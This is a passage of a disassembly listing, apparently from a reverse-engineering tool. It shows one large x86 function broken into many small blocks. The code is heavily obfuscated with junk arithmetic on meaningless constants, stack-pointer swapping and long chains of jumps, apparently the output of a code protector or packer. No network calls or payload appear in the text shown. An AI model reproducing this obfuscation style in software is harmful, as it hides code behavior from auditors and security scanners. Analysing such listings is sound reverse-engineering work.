loc_5AAAA7:				; CODE XREF: sub_58A891+21E45j
		pop	ecx
		xchg	edi, [esp+0]
		pop	esp
		push	eax
		mov	ah, 1
		jmp	loc_59FAE5
; ---------------------------------------------------------------------------


loc_5AAAB4:				; CODE XREF: sub_58A891+27965j
		mov	[esp+0], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_5A88BA
; ---------------------------------------------------------------------------


loc_5AAAC0:				; CODE XREF: sub_58A891+1369Bj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+26h+var_28+2]
		pop	esp
		push	ebx
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A4422
; ---------------------------------------------------------------------------


loc_5AAAD9:				; CODE XREF: sub_58A891+2622Cj
		add	ecx, 17B16516h
		xor	ecx, 82AACE18h
		jmp	loc_59C43D
; ---------------------------------------------------------------------------


loc_5AAAEA:				; CODE XREF: sub_58A891+267C7j
		pop	ebx
		add	edi, 76AE5733h
		jmp	loc_5A959B
; ---------------------------------------------------------------------------


loc_5AAAF6:				; CODE XREF: sub_58A891+180C2j
		sub	edi, esi
		pop	esi
		jmp	loc_5A3DE4
; ---------------------------------------------------------------------------


loc_5AAAFE:				; CODE XREF: sub_58A891+26C8Ej
		add	esp, 4
		push	735Bh
		mov	[esp+64h+var_64], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A6249
; ---------------------------------------------------------------------------


loc_5AAB1F:				; CODE XREF: sub_58A891+282EDj
		mov	ebp, 75B9724Bh
		jmp	loc_59F6DD
; ---------------------------------------------------------------------------


loc_5AAB29:				; CODE XREF: sub_58A891+13243j
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		shl	cl, 3
		jmp	loc_5A5CB3
; ---------------------------------------------------------------------------


loc_5AAB37:				; CODE XREF: sub_58A891+1ADD1j
		push	3629h
		mov	[esp+0BAh+var_BA], edx
		mov	edx, 784300E5h
		xor	edx, 562B2BD0h
		sub	edx, 31B94AB9h
		shl	edx, 8
		sub	esp, 4
		mov	[esp+0BEh+var_BE], ebp
		push	ecx
		mov	ecx, 63AD783Bh
		neg	ecx
		add	ecx, 1E5D536Dh
		add	ecx, 1B24B021h
		push	ecx
		pop	ebp
		pop	ecx
		xor	edx, ebp
		pop	ebp
		add	ebp, edx
		jmp	loc_5AE9B8
; ---------------------------------------------------------------------------


loc_5AAB7D:				; CODE XREF: sub_58A891+21851j
		sub	edi, 394C388Bh
		sub	edi, 2C161134h
		mov	eax, [esp+0BAh+var_BA]
		jmp	loc_5ACC6E
; ---------------------------------------------------------------------------


loc_5AAB91:				; CODE XREF: sub_58A891+11E7Cj
		mov	edx, 24D533Ah
		jmp	loc_5A7B69
; ---------------------------------------------------------------------------


loc_5AAB9B:				; CODE XREF: sub_58A891+13D00j
		push	4E6F5B76h
		jmp	loc_59C0B0
; ---------------------------------------------------------------------------


loc_5AABA5:				; CODE XREF: sub_58A891+1280Cj
		push	eax
		jmp	loc_5B23CB
; ---------------------------------------------------------------------------


loc_5AABAB:				; CODE XREF: sub_58A891+21E16j
		pop	esp
		mov	[esp+0], esp
		push	esi
		mov	esi, 4
		jmp	loc_5AE487
; ---------------------------------------------------------------------------


loc_5AABBA:				; CODE XREF: sub_58A891+17F52j
		xor	ebx, 49687B9Dh
		sub	ebx, 758D7F3Ah
		or	ebx, 2AC07AB1h
		add	ebx, 0C2B2AD08h
		sub	edi, ebx
		jmp	loc_59C9C6
; ---------------------------------------------------------------------------


loc_5AABD9:				; CODE XREF: sub_58A891+1C2B0j
		pop	edi
		jmp	loc_59E829
; ---------------------------------------------------------------------------


loc_5AABDF:				; CODE XREF: sub_58A891+20149j
		jbe	loc_5ADE7C
		xor	ebp, 10D13278h
		mov	esi, ebp
		mov	ebp, [esp+0AEh+var_AE]
		add	esp, 4
		push	ebx
		jmp	loc_5A1DAB
; ---------------------------------------------------------------------------


loc_5AABF9:				; CODE XREF: sub_58A891+1A9CDj
		push	edx
		mov	edx, 375A5599h
		add	ebp, edx
		mov	edx, [esp+56h+var_58+2]
		jmp	loc_5A3A3F
; ---------------------------------------------------------------------------


loc_5AAC09:				; CODE XREF: sub_58A891+253C0j
		push	edi
		push	ecx
		mov	ecx, 1A801285h
		xor	ecx, 1A801281h
		jmp	loc_5A0AA7
; ---------------------------------------------------------------------------


loc_5AAC1B:				; CODE XREF: sub_58A891+16FF1j
		mov	edx, 2B7B616Ah
		jmp	loc_5A65CC
; ---------------------------------------------------------------------------


loc_5AAC25:				; CODE XREF: sub_58A891+1E42Dj
		pop	eax
		add	esp, 4
		shr	dh, 6
		jmp	loc_5A42E2
; ---------------------------------------------------------------------------


loc_5AAC31:				; CODE XREF: sub_58A891:loc_5A0828j
		dec	edi
		jo	loc_5AEA8F
		push	0
		sub	[esp+1Ah+var_1C+2], edi
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	ebp
		mov	ebp, 97B238A1h
		add	edi, 20F80637h
		jmp	loc_5A4034
; ---------------------------------------------------------------------------


loc_5AAC5A:				; CODE XREF: sub_58A891+21D51j
		xor	eax, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], eax
		xor	eax, [esp+1Ah+var_1C+2]
		jmp	loc_5B0A68
; ---------------------------------------------------------------------------


loc_5AAC68:				; CODE XREF: sub_58A891+1AA32j
					; sub_58A891+1B919j
		push	7466h
		mov	[esp+62h+var_64+2], esi
		jmp	loc_59F5DB
; ---------------------------------------------------------------------------
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AAC7A:				; CODE XREF: sub_58A891+1E16Aj
		pop	ebp
		push	edx
		push	[esp+0A2h+var_9E]
		pop	edx
		pop	[esp+0A2h+var_A2]
		pop	esp
		add	esp, 4
		push	esi
		mov	esi, 452226E3h
		push	5A3Bh
		mov	[esp+9Eh+var_9E], ebp
		mov	ebp, 305E0C07h
		sub	esp, 4
		mov	[esp+0A2h+var_A2], esi
		jmp	loc_5A2A04
; ---------------------------------------------------------------------------
		push	1762h
		mov	[esp+0A6h+var_A6], eax
		push	esp
		jmp	loc_5A9768
; ---------------------------------------------------------------------------


loc_5AACB7:				; CODE XREF: sub_58A891+151E7j
		xor	ebx, edx
		pop	edx
		xor	ebx, 25B44951h
		push	ebx
		jmp	loc_59D58C
; ---------------------------------------------------------------------------


loc_5AACC6:				; CODE XREF: sub_58A891+1FE66j
		add	ch, 2Bh
		dec	ch
		jno	loc_5A2431
		jmp	loc_5A6129
; ---------------------------------------------------------------------------
		mov	[esp+0CCh+var_CE+2], ecx
		mov	ecx, esp
		mov	cl, bl


loc_5AACDD:				; CODE XREF: sub_58A891+1B854j
		mov	esi, 68F93F7Fh
		and	esi, 2B9B0946h
		shl	esi, 1
		add	esi, 2F9A5FA5h
		sub	esi, 308A5204h
		sub	ebx, esi
		pop	esi
		push	[esp+0Ah+var_C+2]
		pop	eax
		add	esp, 4
		jmp	loc_5AC0E7
; ---------------------------------------------------------------------------


loc_5AAD05:				; CODE XREF: sub_58A891:loc_5AE3F9j
		jmp	loc_5A15C7
; ---------------------------------------------------------------------------


loc_5AAD0A:				; CODE XREF: sub_58A891+21680j
		add	esp, 4
		push	ebx
		jmp	loc_5A11CB
; ---------------------------------------------------------------------------


loc_5AAD16:				; CODE XREF: sub_58A891+14C94j
		mov	esi, 7B2E195Ch
		push	esi
		jmp	loc_5A316B
; ---------------------------------------------------------------------------


loc_5AAD21:				; CODE XREF: sub_58A891+27E96j
		mov	edi, 49023EFCh
		xor	edi, 7247463h
		jmp	loc_5B0A54
; ---------------------------------------------------------------------------


loc_5AAD31:				; CODE XREF: sub_58A891+251BDj
		mov	ah, bh
		mov	dh, ah
		pop	eax
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_5AE9DC
; ---------------------------------------------------------------------------


loc_5AAD44:				; CODE XREF: sub_58A891+27F2Fj
		pop	edi
		sub	edx, ebx
		add	edx, 930052Eh
		push	[esp+0Eh+var_10+2]
		pop	ebx
		push	1275h
		mov	[esp+12h+var_14+2], esi
		jmp	loc_5AFB45
; ---------------------------------------------------------------------------


loc_5AAD5E:				; CODE XREF: sub_58A891+1720Ej
		shr	ecx, 2
		jmp	loc_59D479
; ---------------------------------------------------------------------------


loc_5AAD66:				; CODE XREF: sub_58A891+12CEEj
		mov	edx, 4F4C0DECh
		mov	eax, edx
		pop	edx
		shl	eax, 6
		shl	eax, 5
		push	ebx
		mov	ebx, 1
		sub	eax, ebx
		pop	ebx
		add	eax, 9F90A005h
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_59E449
; ---------------------------------------------------------------------------


loc_5AAD91:				; CODE XREF: sub_58A891+1D5F0j
		push	edx
		jmp	loc_5A4D9D
; ---------------------------------------------------------------------------


loc_5AAD97:				; CODE XREF: sub_58A891+149F7j
		pop	eax
		neg	ebx
		jmp	loc_5A57FD
; ---------------------------------------------------------------------------


loc_5AAD9F:				; CODE XREF: sub_58A891+13AFDj
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		push	ebp
		push	[esp+3Ah+var_38+2]
		pop	ebp
		jmp	loc_5A185A
; ---------------------------------------------------------------------------


loc_5AADB2:				; CODE XREF: sub_58A891+1380Aj
		push	ebx
		mov	ebx, 68DE432Ch
		sub	ebx, 68DE4328h
		add	edi, ebx
		jmp	loc_5A6AF0
; ---------------------------------------------------------------------------


loc_5AADC5:				; CODE XREF: sub_58A891+250F5j
		push	[esp+0BEh+var_BE]
		pop	ebx
		push	edx
		mov	edx, esp
		push	eax
		push	ebp
		mov	ebp, 46B4594Ah
		shl	ebp, 3
		and	ebp, 0CE73FC6h
		shr	ebp, 4
		jnp	loc_5B1E4F
		add	ebp, 5530FB7Dh
		mov	eax, ebp
		pop	ebp
		mov	dh, dl
		push	esp


loc_5AADF1:				; CODE XREF: sub_58A891+16B9Dj
		xor	ch, al
		pop	eax
		push	ecx
		mov	cl, 0C1h
		mov	bh, cl
		pop	ecx
		xor	bh, ch
		pop	ecx
		xor	al, bh
		push	[esp+0C2h+var_C2]
		pop	ebx
		jmp	loc_5A6E7B
; ---------------------------------------------------------------------------


loc_5AAE08:				; CODE XREF: sub_58A891+1BC34j
		mov	edi, [esp+0AAh+var_AA]
		add	esp, 4
		sub	ebx, 1
		and	ebx, 6E833C91h
		push	ebx
		inc	[esp+0AAh+var_AA]
		jmp	loc_5A79DB
; ---------------------------------------------------------------------------


loc_5AAE26:				; CODE XREF: sub_58A891+24185j
		add	ecx, 52346F7Eh
		inc	ecx
		add	ecx, 8F6A859Fh
		add	esi, ecx
		pop	ecx
		push	esi
		push	[esp+0AAh+var_A6]
		pop	esi
		pop	[esp+0AAh+var_AA]
		pop	esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	esi
		jmp	loc_59FCE9
; ---------------------------------------------------------------------------


loc_5AAE4F:				; CODE XREF: sub_58A891+1C668j
		add	esp, 4
		and	ebp, edi
		pop	edi
		xchg	edi, ebp
		jmp	loc_5A6E35
; ---------------------------------------------------------------------------


loc_5AAE5F:				; CODE XREF: sub_58A891+26167j
		add	esp, 4
		pop	edi
		sub	ebx, 548A097Bh
		jmp	loc_59ECBD
; ---------------------------------------------------------------------------


loc_5AAE71:				; CODE XREF: sub_58A891+160A0j
		push	edi
		mov	edi, 3A490490h
		not	edi
		sub	edi, 4E2923B3h
		or	edi, 4C106DA8h
		sub	edi, 0B305F606h
		add	ebx, edi
		pop	edi
		add	edx, ebx
		jmp	loc_5A9EA2
; ---------------------------------------------------------------------------


loc_5AAE95:				; CODE XREF: sub_58A891+21BB7j
		mov	eax, 4
		sub	ebx, eax
		mov	eax, [esp+90h+var_90]
		add	esp, 4
		jmp	loc_5AD261
; ---------------------------------------------------------------------------


loc_5AAEAA:				; CODE XREF: sub_58A891+13B07j
		mov	[esp+3Eh+var_40+2], ebp
		mov	ebp, 949BB7C1h
		jmp	loc_5A2A44
; ---------------------------------------------------------------------------


loc_5AAEB7:				; CODE XREF: sub_58A891+24F19j
		jnz	loc_5AF92E
		sub	eax, 0FE4C0695h
		mov	ebp, eax
		mov	eax, [esp+3Eh+var_40+2]


loc_5AAEC7:				; CODE XREF: sub_58A891+223F3j
		pop	edi
		pop	[esp+3Ah+var_3C+2]
		pop	esp
		push	ebp
		jmp	loc_5ADDC4
; ---------------------------------------------------------------------------


loc_5AAED2:				; CODE XREF: sub_58A891+26A4Aj
		push	eax
		jmp	loc_5A2404
; ---------------------------------------------------------------------------


loc_5AAED8:				; CODE XREF: sub_58A891+245F9j
		pop	[esp+3Ah+var_3C+2]
		jmp	loc_59DE7A
; ---------------------------------------------------------------------------


loc_5AAEE0:				; CODE XREF: sub_58A891+24C1Cj
		push	[esp+36h+var_38+2]
		pop	edi
		add	esp, 4
		add	esp, 4
		jmp	loc_5AE6DA
; ---------------------------------------------------------------------------


loc_5AAEEF:				; CODE XREF: sub_58A891+18E44j
		xchg	edx, [esp+0F2h+var_F4+2]
		pop	esp
		push	4FC0h
		mov	[esp+0F2h+var_F4+2], ebp
		jmp	loc_5AF9F9
; ---------------------------------------------------------------------------


loc_5AAF00:				; CODE XREF: sub_58A891+1392Dj
		mov	eax, edi
		pop	edi
		push	eax
		xchg	esi, [esp+3Eh+var_40+2]
		jmp	loc_59E68F
; ---------------------------------------------------------------------------


loc_5AAF0C:				; CODE XREF: sub_58A891+1E380j
		mov	edi, 4EB90D0Ch
		add	ebx, edi
		pop	edi
		add	ebx, esi
		sub	ebx, 4EB90D0Ch
		push	[esp+98h+var_98]
		jmp	loc_5A8E5C
; ---------------------------------------------------------------------------


loc_5AAF24:				; CODE XREF: sub_58A891+221ACj
		add	ebp, ebx
		add	ebp, 2E5F18C9h
		jmp	loc_59C2DA
; ---------------------------------------------------------------------------


loc_5AAF31:				; CODE XREF: sub_58A891+12436j
					; sub_58A891+1BE84j
		mov	ebx, 7BAD2937h
		inc	ebx
		push	edi
		mov	edi, 8677040h
		jmp	loc_5AA6C0
; ---------------------------------------------------------------------------


loc_5AAF42:				; CODE XREF: sub_58A891+21769j
		sub	bh, ch
		pop	ecx
		add	al, 7Bh
		sub	al, 77h
		sub	al, bh
		add	al, 77h
		sub	al, 7Bh
		mov	ebx, [esp+0A6h+var_A6]
		jmp	loc_5A34E0
; ---------------------------------------------------------------------------


loc_5AAF57:				; CODE XREF: sub_58A891+1F3DEj
		mov	edi, 35F2336Eh
		sub	esp, 4
		mov	[esp+86h+var_88+2], ebx
		push	edi
		push	0A5A6065h
		pop	edi
		jmp	loc_59D140
; ---------------------------------------------------------------------------


loc_5AAF6E:				; CODE XREF: sub_58A891+1E5CEj
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+16h+var_18+2]
		jmp	loc_5A4363
; ---------------------------------------------------------------------------


loc_5AAF83:				; CODE XREF: sub_58A891+2103Fj
		push	ebx
		jmp	loc_59F952
; ---------------------------------------------------------------------------


loc_5AAF89:				; CODE XREF: sub_58A891+1890Dj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0A8h+var_AA+2]
		pop	esp
		add	ebx, eax
		jmp	loc_5A2FAC
; ---------------------------------------------------------------------------


loc_5AAF9E:				; CODE XREF: sub_58A891+217A0j
		add	edi, edx
		pop	edx
		xor	edi, [esp+0A0h+var_A2+2]
		xor	[esp+0A0h+var_A2+2], edi
		xor	edi, [esp+0A0h+var_A2+2]
		pop	esp
		push	edx
		push	ecx
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A0E59
; ---------------------------------------------------------------------------


loc_5AAFBA:				; CODE XREF: sub_58A891+19F4Aj
		push	edx
		mov	edx, 54691545h
		add	[esp+0EAh+var_E2], edx
		mov	edx, [esp+0EAh+var_EC+2]
		add	esp, 4
		sub	[esp+0E6h+var_E2], ecx
		push	ecx
		mov	ecx, 54691545h
		sub	[esp+0EAh+var_E2], ecx
		pop	ecx
		pop	ecx
		push	[esp+0E2h+var_E2]
		push	[esp+0E6h+var_E8+2]
		mov	eax, [esp+0EAh+var_EC+2]
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_59C2AD
; ---------------------------------------------------------------------------


loc_5AAFF2:				; CODE XREF: sub_58A891+1D18Ej
					; sub_58A891+27431j
		push	3B61h
		mov	[esp+74h+var_74], ebx
		mov	ebx, 3E7C08FBh
		xor	ebp, ebx
		pop	ebx
		jmp	loc_59D280
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AB00F:				; CODE XREF: sub_58A891+15D0Fj
		push	[esp+0BAh+var_B6]
		jmp	loc_59C27C
; ---------------------------------------------------------------------------


loc_5AB018:				; CODE XREF: sub_58A891+1187Bj
		mov	ebx, 1EAA44C8h
		push	ecx
		mov	ecx, 35EA2C8Ch
		shl	ecx, 2
		dec	ecx
		inc	ecx
		add	ecx, 6314729Fh
		neg	ecx
		jmp	loc_5AA935
; ---------------------------------------------------------------------------


loc_5AB035:				; CODE XREF: sub_58A891+1DD0Bj
		add	edi, edx
		push	edx
		mov	edx, 78C5A34h
		xor	edx, 44E04052h
		xor	edx, 6F6E15A7h
		add	edi, edx
		pop	edx
		add	edi, 2BD56E1Eh
		pop	edx
		push	edi
		jmp	loc_5A5A17
; ---------------------------------------------------------------------------


loc_5AB059:				; CODE XREF: sub_58A891+157E4j
		sub	edx, 6DDA3DF3h
		neg	edx
		add	edx, 70E840B1h
		xor	edx, 1195D5A8h
		and	esi, edx
		push	[esp+1Ah+var_1C+2]
		pop	edx
		add	esp, 4
		shr	esi, 7
		jmp	loc_5A3828
; ---------------------------------------------------------------------------


loc_5AB07E:				; CODE XREF: sub_58A891+263E8j
		pop	ecx
		jmp	loc_5ACE49
; ---------------------------------------------------------------------------


loc_5AB084:				; CODE XREF: sub_58A891+17A5Dj
		add	eax, 15373975h
		push	ebp
		mov	ebp, eax
		mov	ecx, ebp
		pop	ebp
		pop	eax
		shl	ecx, 8
		sub	esp, 4
		mov	[esp+0D6h+var_D6], esi
		push	19A3h
		mov	[esp+0DAh+var_DA], edx
		jmp	loc_5AA7AF
; ---------------------------------------------------------------------------


loc_5AB0A6:				; CODE XREF: sub_58A891+1F6DDj
		add	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		push	0BB4h
		jmp	loc_5AD4C5
; ---------------------------------------------------------------------------


loc_5AB0BA:				; CODE XREF: sub_58A891+18D20j
		push	edi
		mov	edi, 7BD7777h
		and	edi, 2D710899h
		jmp	loc_5A245A
; ---------------------------------------------------------------------------


loc_5AB0CB:				; CODE XREF: sub_58A891+1DDFFj
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esp
		add	[esp+2Eh+var_30+2], 4
		pop	edi
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], ebx
		mov	ebx, 0BEC4B00h
		inc	ebx
		jl	loc_5A62E3
		xor	ebx, 42590C78h
		jmp	loc_5A1B09
; ---------------------------------------------------------------------------


loc_5AB0F9:				; CODE XREF: sub_58A891+1DD1Fj
		sub	ebx, 4
		xor	ebx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], ebx
		xor	ebx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		jmp	loc_59E8D7
; ---------------------------------------------------------------------------


loc_5AB10D:				; CODE XREF: sub_58A891+1D9B4j
		pop	eax
		add	ecx, 7F2076CEh
		add	ecx, edi
		sub	ecx, 7F2076CEh
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+36h+var_38+2]
		jmp	loc_5AA540
; ---------------------------------------------------------------------------


loc_5AB128:				; CODE XREF: sub_58A891+19C4Fj
		and	eax, 42810E06h
		sub	eax, 4E601D49h
		add	eax, 6ED1460Ch
		and	ebx, eax
		pop	eax
		sub	ebx, 0EE53DE67h
		sub	edi, ebx
		push	[esp+32h+var_34+2]
		pop	ebx
		jmp	loc_5A29D6
; ---------------------------------------------------------------------------


loc_5AB14B:				; CODE XREF: sub_58A891+2123Fj
		inc	ebp
		jmp	loc_5AF1CC
; ---------------------------------------------------------------------------


loc_5AB151:				; CODE XREF: sub_58A891+1D735j
		mov	ebx, 20421B86h
		neg	ebx
		jmp	loc_59E5B7
; ---------------------------------------------------------------------------


loc_5AB15D:				; CODE XREF: sub_58A891+250E5j
		sub	edi, ebx
		add	edi, 5A7F3144h
		pop	ebx
		add	ebx, edi
		mov	edi, [esp+0BAh+var_BA]
		jmp	loc_5A5542
; ---------------------------------------------------------------------------


loc_5AB170:				; CODE XREF: sub_58A891+1E88Fj
		add	esp, 4
		add	ebp, ebx
		push	[esp+0B6h+var_B6]
		mov	ebx, [esp+0BAh+var_BA]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0BEh+var_BE]
		pop	esp
		add	esp, 4
		xor	ebp, [esp+0B6h+var_B6]
		xor	[esp+0B6h+var_B6], ebp
		xor	ebp, [esp+0B6h+var_B6]
		mov	esp, [esp+0B6h+var_B6]
		movzx	cx, al
		push	small 6DC7h
		mov	word ptr [esp+0B8h+var_BA+2], cx
		jmp	loc_5ACE53
; ---------------------------------------------------------------------------


loc_5AB1AE:				; CODE XREF: sub_58A891+1A63Fj
		add	esi, 9B0FA3CAh
		jmp	loc_59F673
; ---------------------------------------------------------------------------


loc_5AB1B9:				; CODE XREF: sub_58A891+26DA7j
		mov	ebx, 0D126C8Bh
		add	ebx, 27800E53h
		jmp	loc_5A346D
; ---------------------------------------------------------------------------


loc_5AB1C9:				; CODE XREF: sub_58A891+1E361j
		mov	[esp+0A0h+var_A2+2], eax
		mov	eax, 23002D5Eh
		push	edx
		mov	edx, 1F325D27h
		sub	eax, edx
		jmp	loc_5A3256
; ---------------------------------------------------------------------------


loc_5AB1DE:				; CODE XREF: sub_58A891+27C24j
		add	esp, 4
		add	edi, 4
		xor	edi, [esp+0A0h+var_A2+2]
		jmp	loc_5ACAC8
; ---------------------------------------------------------------------------


loc_5AB1EF:				; CODE XREF: sub_58A891+1A76Dj
		pop	esi
		shl	esi, 3
		jmp	loc_5A4E93
; ---------------------------------------------------------------------------


loc_5AB1F8:				; CODE XREF: sub_58A891+1DAB0j
		push	edx
		push	ebp
		sub	esp, 4
		mov	[esp+0B6h+var_B6], ebx
		push	33681F80h
		mov	ebx, [esp+0BAh+var_BA]
		add	esp, 4
		shr	ebx, 1
		jmp	loc_5B1D05
; ---------------------------------------------------------------------------


loc_5AB215:				; CODE XREF: sub_58A891+1B356j
		push	ebx
		jmp	loc_5A31A3
; ---------------------------------------------------------------------------


loc_5AB21B:				; CODE XREF: sub_58A891+2215Cj
		sub	bh, dh
		pop	edx
		jmp	loc_5AF557
; ---------------------------------------------------------------------------


loc_5AB223:				; CODE XREF: sub_58A891+120FDj
		add	dh, 93h
		jmp	loc_5A691F
; ---------------------------------------------------------------------------


loc_5AB22B:				; CODE XREF: sub_58A891+20E18j
		pop	eax
		jmp	loc_5A9DA1
; ---------------------------------------------------------------------------


loc_5AB231:				; CODE XREF: sub_58A891+12C5Dj
		pop	edx
		mov	bl, cl
		pop	ecx
		sub	al, 0D9h
		sub	al, bl
		jmp	loc_59CF94
; ---------------------------------------------------------------------------


loc_5AB23E:				; CODE XREF: sub_58A891+2106Bj
		sub	eax, 4
		xchg	eax, [esp+22h+var_24+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], edx
		push	ebp
		push	ebx
		push	eax
		mov	eax, 27953FFFh
		mov	ebx, 27954003h
		sub	ebx, eax
		pop	eax
		mov	ebp, ebx
		jmp	loc_59D3CB
; ---------------------------------------------------------------------------


loc_5AB272:				; CODE XREF: sub_58A891+1C4F6j
		push	[esp+36h+var_38+2]
		pop	esi
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A5CFD
; ---------------------------------------------------------------------------


loc_5AB284:				; CODE XREF: sub_58A891+1F053j
		shr	eax, 18h
		xor	eax, ecx
		xchg	eax, ebx
		push	ebx
		push	ecx
		jmp	loc_5A6D76
; ---------------------------------------------------------------------------


loc_5AB291:				; CODE XREF: sub_58A891+190BFj
		add	ecx, 8E6133Eh
		pop	edi
		push	ebp
		jmp	loc_5A7BC2
; ---------------------------------------------------------------------------


loc_5AB29E:				; CODE XREF: sub_58A891+193CDj
		add	esp, 4
		sub	ecx, 32FB3788h
		add	ecx, ebp
		add	ecx, 32FB3788h
		add	ecx, 1D960F51h
		jmp	loc_5A7AE4
; ---------------------------------------------------------------------------


loc_5AB2BD:				; CODE XREF: sub_58A891+13E03j
		mov	eax, [esp+0B2h+var_B2]
		add	esp, 4
		add	eax, 6F1A3C04h
		and	eax, 518F59FAh
		xor	eax, 21E2F87h
		add	eax, 2DB409B2h
		sub	edx, eax
		mov	eax, [esp+0AEh+var_AE]
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 37789437h
		mov	ecx, esi
		pop	esi
		sub	edx, 64761745h
		sub	edx, ecx
		add	edx, 64761745h
		pop	ecx
		sub	eax, edx
		mov	edx, [esp+0AAh+var_AA]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0AEh+var_AE]
		jmp	loc_5B1256
; ---------------------------------------------------------------------------


loc_5AB311:				; CODE XREF: sub_58A891+119BAj
		sub	ecx, 0BE071FD4h
		push	ecx
		pop	edx
		jmp	loc_5A17B3
; ---------------------------------------------------------------------------


loc_5AB31E:				; CODE XREF: sub_58A891+25D62j
		xor	al, 2Ch
		jo	loc_5A3828
		inc	al
		jge	loc_5A29AE
		push	ecx
		jmp	loc_5A3A2E
; ---------------------------------------------------------------------------
		add	ecx, 4


loc_5AB33A:				; CODE XREF: sub_58A891:loc_5AE313j
		inc	ebp
		jmp	loc_5B0D03
; ---------------------------------------------------------------------------


loc_5AB340:				; CODE XREF: sub_58A891+2004Ej
		add	esp, 4
		jmp	loc_5B1A0E
; ---------------------------------------------------------------------------


loc_5AB34B:				; CODE XREF: sub_58A891+262DBj
		add	esi, 24A5419h
		mov	edx, [esp+46h+var_48+2]
		jmp	loc_5AE107
; ---------------------------------------------------------------------------


loc_5AB359:				; CODE XREF: sub_58A891+1EB50j
		add	ecx, 0D95D9E22h
		mov	ebp, ecx
		mov	ecx, [esp+4Eh+var_50+2]
		add	esp, 4
		jmp	loc_5ABCD9
; ---------------------------------------------------------------------------


loc_5AB36F:				; CODE XREF: sub_58A891+1CF07j
		push	ebp
		push	[esp+72h+var_70+2]
		jmp	loc_59DED8
; ---------------------------------------------------------------------------


loc_5AB379:				; CODE XREF: sub_58A891+1E838j
		add	ebp, 0CC87F2DEh
		mov	esi, ebp
		jmp	loc_5A6D96
; ---------------------------------------------------------------------------


loc_5AB386:				; CODE XREF: sub_58A891+16F4Dj
		pop	ebp
		add	ebx, 279F5B9h
		sub	ecx, ebx
		mov	ebx, [esp+5Eh+var_60+2]
		jmp	loc_59C3D9
; ---------------------------------------------------------------------------


loc_5AB397:				; CODE XREF: sub_58A891+17FECj
		mov	dh, 0CDh
		jmp	loc_5A8651
; ---------------------------------------------------------------------------


loc_5AB39E:				; CODE XREF: sub_58A891+183C5j
		pop	esi
		add	esp, 4
		push	1FC8h
		mov	[esp+2Ah+var_2C+2], ebx
		jmp	loc_5B1553
; ---------------------------------------------------------------------------


loc_5AB3AF:				; CODE XREF: sub_58A891+1EA99j
		jl	loc_5ABFF2
		sub	ch, 96h
		neg	ch
		add	ch, 0BDh
		jmp	loc_5B06EA
; ---------------------------------------------------------------------------


loc_5AB3C2:				; CODE XREF: sub_58A891+1192Dj
		push	144Ah
		mov	[esp+1Eh+var_20+2], ecx
		push	7220h
		mov	[esp+22h+var_24+2], esp
		add	[esp+22h+var_24+2], 4
		jmp	loc_5A46F5
; ---------------------------------------------------------------------------


loc_5AB3DE:				; CODE XREF: sub_58A891+1BB35j
		xchg	cl, al
		inc	al
		sub	al, 75h
		jmp	loc_5B2A6C
; ---------------------------------------------------------------------------


loc_5AB3E9:				; CODE XREF: sub_58A891+26996j
					; sub_58A891+26BAEj
		add	esi, 0A354A27Bh
		add	esi, 1
		jmp	loc_5AD837
; ---------------------------------------------------------------------------


loc_5AB3F7:				; CODE XREF: sub_58A891+235D7j
		mov	esp, [esp+46h+var_48+2]
		jmp	loc_5B1CD4
; ---------------------------------------------------------------------------


loc_5AB3FF:				; CODE XREF: sub_58A891+1603Cj
		pop	esp
		mov	[esp+80h+var_80], esi
		mov	esi, 433A53B8h
		add	esi, 286300F1h
		xor	ebp, esi
		jmp	loc_5AA33E
; ---------------------------------------------------------------------------


loc_5AB415:				; CODE XREF: sub_58A891+21BBDj
		push	2A9Fh
		mov	[esp+84h+var_84], ebx
		mov	ebx, 13BF180Ah
		xchg	esi, ebx
		push	esi
		jmp	loc_5A517D
; ---------------------------------------------------------------------------


loc_5AB42A:				; CODE XREF: sub_58A891+12A6Aj
		mov	edx, esp
		jmp	loc_5A58B4
; ---------------------------------------------------------------------------


loc_5AB431:				; CODE XREF: sub_58A891+12A56j
		add	esp, 4
		jmp	loc_5B2698
; ---------------------------------------------------------------------------


loc_5AB43C:				; CODE XREF: sub_58A891+2132Dj
		mov	[esp+16h+var_18+2], esi
		mov	esi, 39708F9Ch
		sub	eax, 5FA3332Ah
		sub	eax, 4CBF113Bh
		jmp	loc_5A9435
; ---------------------------------------------------------------------------


loc_5AB453:				; CODE XREF: sub_58A891+123E8j
		mov	cl, 0D1h
		add	cl, dh
		pop	edx
